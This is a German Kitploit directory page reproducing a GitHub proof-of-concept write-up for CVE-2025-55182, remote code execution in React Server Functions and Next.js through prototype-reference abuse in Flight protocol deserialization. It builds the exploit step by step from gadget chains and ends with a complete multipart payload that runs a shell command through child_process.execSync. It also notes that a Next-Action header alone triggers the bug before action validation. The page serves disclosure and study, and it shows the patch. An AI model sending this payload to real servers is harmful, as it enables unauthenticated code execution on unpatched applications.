Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-55182 — Proof-of-concept-Exploit für CVE-2025-55182, der die Remote-Codeausführung in React Server Functions durch unsichere Prototyp-Referenzen während der Flight Protocol-Deserialisierung demonstriert. | Kitploit
Tools/GitHubGitHub/andressuarezmonk/cve-2025-55182
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-Entwicklung
GitHubandressuarezmonk/cve-2025-55182

CVE-2025-55182

Proof-of-concept-Exploit für CVE-2025-55182, der die Remote-Codeausführung in React Server Functions durch unsichere Prototyp-Referenzen während der Flight Protocol-Deserialisierung demonstriert.

Repository anzeigen
vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182

Original-Autor: https://github.com/msanft/CVE-2025-55182

Diese Schwachstelle ermöglicht eine RCE in React Server Functions, z. B. wie von Next.js bereitgestellt, durch unsichere Prototyp-Referenzen.

Ich bin kein Experte für React oder Next.js, daher sollten alle Informationen hier mit Vorsicht genossen werden.

Hintergrund

React bietet Server Functions1 an, die als eine Art RPC-over-HTTP betrachtet werden können. Sie können genutzt werden, um Daten von benachbarten Peers mit geringer Latenz abzurufen oder authentifizierte Anfragen durchzuführen, für die dem Client die Berechtigungen fehlen.

React verwendet das sogenannte React Flight Protocol2 zur Serialisierung von Werten, die an Server Functions übergeben werden.

Der Client übergibt „Chunks“ an den Server, z. B. über Formulardaten:

root@kitploit:~
files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

Wie gezeigt, können diese gegenseitige Referenzen enthalten. Das obige Payload wird auf dem Server wie folgt deserialisiert:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

Das Format selbst ist etwas komplexer und erlaubt aufwändigere Serialisierung und Deserialisierung, aber dies bietet ein grundlegendes Verständnis für die eigentliche Schwachstelle.

Schwachstelle

Bis zu diesem Commit3 hat React beim Durchlaufen von Chunks in der Referenzauflösung – etwa beim Abrufen von fruitName aus Chunk 2 im obigen Beispiel – nicht überprüft, ob der angeforderte Schlüssel tatsächlich auf dem Objekt gesetzt war. Dies erlaubte uns den Zugriff auf den Objektprototyp4.

Dies kann mit einem Payload wie diesem demonstriert werden:

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Das deserialisiert zum Funktionskonstruktor5:

root@kitploit:~
[Function: Function]

Wenn der Chunk mit der ID 0 kein Array, sondern ein Objekt ist, können wir den then-Schlüssel auf den Funktionskonstruktor setzen. Das Objekt wird dann von der Funktion decodeReplyFromBusboy zurückgegeben und von Next.js mit await abgewartet:

root@kitploit:~
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Wenn dies ein Thenable zurückgibt, wird das await im Aufrufer es aufrufen. Dies geschieht mit diesem Payload:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Was zu diesem Fehler führt:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

Der Fehler sieht so aus, weil V8 eine mit await abgewartete Funktion mit den internen resolve- und reject-Funktionen aufruft, die, wenn man toString auf sie anwendet, zu etwas wie diesem serialisiert werden:

root@kitploit:~
function () { [native code] }

Ausnutzung

Da wir trivial den Function-Konstruktor abrufen können, ist der naheliegendste Weg, ein Aufruf-Gadget zu finden, das den Konstruktor mit einem benutzergesteuerten Wert (d. h. dem Code der Funktion als String) aufruft und später die zurückgegebene Funktion aufruft.

Es gibt mehrere Stellen, die den Funktionskonstruktor aufrufen können, zum Beispiel resolveServerReference, wo id ein gesteuertes Objekt ist, und lastIndexOf überschrieben werden kann, um einen benutzergesteuerten String zurückzugeben (z. B. über Array.prototype.join), und slice kann auf den Funktionskonstruktor überschrieben werden. Allerdings funktioniert diese Stelle nicht, weil der zweite Aufruf von .slice() eine Zahl als erstes Argument liefert, die – nach bestem Wissen – nie vom Funktionskonstruktor verarbeitet werden kann.

Hier kommt eine brillante Idee von maple31426 ins Spiel. Wenn getChunk den Chunk mit der ID 0 als Wurzelreferenz abruft, um die Referenzkette aufzulösen, kann dieser selbe Chunk zu einem manipulierten „Fake-Chunk“ aufgelöst werden.

Wir können auf den manipulierten Chunk 0 in Chunk 1 verweisen, indem wir die $@-Syntax verwenden, die den „rohen“ Chunk zurückgibt, nicht seinen aufgelösten Wert:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Kombinieren wir dies mit unserem then-Override von oben, können wir etwas wie das hier basteln:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

Hier überschreibt Chunk 0 seinen eigenen .then() mit dem .then() seiner eigenen rohen Chunk-Repräsentation. Vereinfacht gesagt überschreiben wir unseren eigenen .then() mit Chunk.prototype.then. Das ist möglich, weil Chunks dannable sind:

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

Mit dem obigen Payload wird Chunk.prototype.then schließlich mit dem manipulierten Chunk mit ID 0 aufgerufen.

Wie oben gezeigt, wenn .status auf unserem Fake-Chunk resolved_model ist:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Gelangen wir in initializeModelChunk. Hier wird .value als JSON geparst, und dann werden Referenzen auf dem zurückgegebenen Objekt aufgelöst, wobei der „äußere“ Kontext unserer Chunks mit den IDs 0 und 1 verwendet wird:

root@kitploit:~
function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

Innerhalb dessen erhalten wir nun einen zweiten Durchlauf der Auswertung mit etwas mehr Werten, auf die wir aufgrund des bereits aufgelösten äußeren Kontexts Zugriff haben.

Es gibt ein Aufruf-Gadget in der Behandlung von Blob-Daten mit dem $B-Präfix im Flight Protocol:

root@kitploit:~
case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

Durch das spezielle Feld _response kontrollieren wir die response-Eigenschaft des manipulierten Chunks:

root@kitploit:~
// in initializeModelChunk
value = reviveModel(chunk._response, // ...

Damit können wir ein Objekt mit gefälschten ._formData- und ._prefix-Eigenschaften erstellen:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

Der .reason muss hinzugefügt werden, um das Scheitern beim toString-Aufruf in `initializeModelChunk zu umgehen:

root@kitploit:~
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

Indem wir ._formData auf den Funktionskonstruktor zeigen und ._prefix auf unseren Code, erhalten wir ein Aufruf-Gadget für den Funktionskonstruktor in der Blob-Deserialisierung:

root@kitploit:~
response._formData.get(response._prefix + "0")
// wird zu
Function("return foo; // 0")

Unsere manipulierte Funktion wird dann von parseModelString als .then()-Methode des manipulierten Chunks zurückgegeben, welche ebenfalls mit await abgewartet wird, da dies alles in einer einzigen Promise-Auflösungskette stattfindet. Somit wird unsere manipulierte Funktion aufgerufen. Dies stellt das oben erwähnte erforderliche Aufruf-Gadget dar.

Setzen wir dies nun alles mit einem tatsächlichen RCE-Payload zusammen, erhalten wir folgendes:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Der Bonus, der diese Schwachstelle noch schlimmer macht, ist, dass all dies während der Deserialisierung geschieht, bevor die angeforderte Aktion zum ersten Mal in getActionModIdOrError validiert wird. Daher reicht es aus, einen Header wie Next-Action: foo zu setzen, um die Schwachstelle auszulösen.

Patch

Die Verwendung von Chunk-Referenzen zum Abrufen von Prototypeigenschaften wird mit dieser Überprüfung behoben:

root@kitploit:~
@@ -78,7 +80,10 @@ export function preloadModule<T>(
 
 export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }

Footnotes

  1. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩

  2. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩

  3. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩

  4. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩

  5. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩

  6. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E

Tool herunterladen
↩